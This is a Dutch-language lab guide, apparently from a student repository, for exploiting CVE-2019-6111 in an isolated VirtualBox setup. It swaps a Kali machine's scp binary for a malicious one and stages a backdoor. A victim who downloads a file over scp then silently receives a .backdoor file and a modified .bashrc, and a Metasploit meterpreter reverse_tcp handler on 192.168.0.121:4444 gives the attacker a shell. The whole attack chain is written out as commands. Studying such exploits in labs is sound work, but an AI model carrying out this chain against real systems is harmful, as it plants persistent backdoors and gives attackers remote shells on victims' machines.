User Deployment Guide - CVE-2019-6111

Deze handleiding beschrijft alle vereiste stappen om de CVE-2019-6111-exploit uit te voeren en een reverse shell op de Debian-client tot stand te brengen.

Inhoudsopgave

1. Vereisten
2. Instellen Omgeving
    1. Debian (Jessie) Machine
    2. Kali Linux (Rolling) Machine
3. CVE-2019-6111
4. Metasploit

Vereisten

- VirtualBox
- Bash of PowerShell
- Git
- Debian (Jessie) vdi
- Kali Linux (Rolling) vdi

Instellen Omgeving

Om de exploit uit te voeren, moeten we eerst de omgeving configureren. Hiervoor hebben we twee virtuele machines nodig: een Debian (Jessie) machine en een Kali Linux (Rolling) machine. De Debian-machine zal het doelwit zijn van onze aanval, terwijl we de Kali Linux-machine gebruiken om de aanval uit te voeren.

Debian (Jessie) Machine

Om deze virtuele machine te installeren, hebben we een script geschreven dat de installatie automatisch uitvoert. Het script is te vinden in de map `src/debian` van deze repository.

```
$ bash unattended_install.sh
```

of

```
PS1> .\unattended_install.ps1
```

Kali Linux (Rolling) Machine

Om deze virtuele machine te installeren, hebben we een script geschreven dat de installatie automatisch uitvoert. Het script is te vinden in de map `src/kali` van deze repository.

```
$ bash unattended_install.sh
```

of

```
PS1> .\unattended_install.ps1
```

Deze exploit vereist dat de Debian-client een bestand van een "bad" scp-server downloadt. In dit geval is de Kali-virtuele machine de "slechte" scp-server. Om van onze Kali-machine een "bad" scp-server te maken,

moeten we een aangepaste scp-binary installeren. Deze binary bevindt zich in de map `src/kali/provision/golang/bin` van deze repository.

Opmerking: Voer dit commando uit als root.

```
# git clone https://github.com/AntonVanAssche/CSV-NPE2223.git
# cp -r CSV-NPE2223/src/kali/provision/golang/bin/bad_scp /usr/bin/scp
```

Daarna moeten we de backdoor in de `/tmp`-map plaatsen. Deze backdoor is te vinden in de map `src/kali/provision/backdoor` van deze repository.

Opmerking: Voer dit commando uit als root.

```
# cp -r CSV-NPE2223/src/kali/provision/backdoor /tmp/backdoor
```

Deze backdoor is gekoppeld aan het IP-adres `192.168.0.121`, dus we moeten het IP-adres van de Kali-machine aanpassen met behulp van het `ip.sh`-script in de map `src/kali/provision/`.

```
$ bash ip.sh
```

Als laatste stap moeten we de `ssh`-server starten.

Opmerking: Voer dit commando uit als root.

```
# systemctl start ssh
```

CVE-2019-6111

Het uitvoeren van de exploit is vrij eenvoudig. We moeten simpelweg een bestand downloaden van de "bad" scp-server. Dit bestand kan elk willekeurig bestand zijn. In dit voorbeeld gebruiken we het bestand `testfile.txt`.

```
$ scp 192.168.0.121:testfile.txt .
```

Na uitvoering van het commando zal het bestand `testfile.txt` worden gedownload. Als je echter het commando `ls -a` uitvoert, zul je merken dat er ook een bestand genaamd `.backdoor` is gedownload en dat het `.bashrc`-bestand is gewijzigd.

Metasploit

Nadat de backdoor op de Debian-client is geïnstalleerd, kunnen we een reverse shell opzetten met behulp van het Metasploit-framework.

Opmerking: Voer dit commando uit als root.

```
# msfconsole -q -x "handler -p linux/aarch64/meterpreter/reverse_tcp -P 4444 -H
192.168.0.121"
```

Zodra de gebruiker een nieuwe Bash-shell opent, wordt dit gedetecteerd door Metasploit.

```
msf6 > sessions 1
```

Om een reverse shell op te zetten, voeren we eenvoudigweg het volgende commando uit:

```
meterpreter > shell
```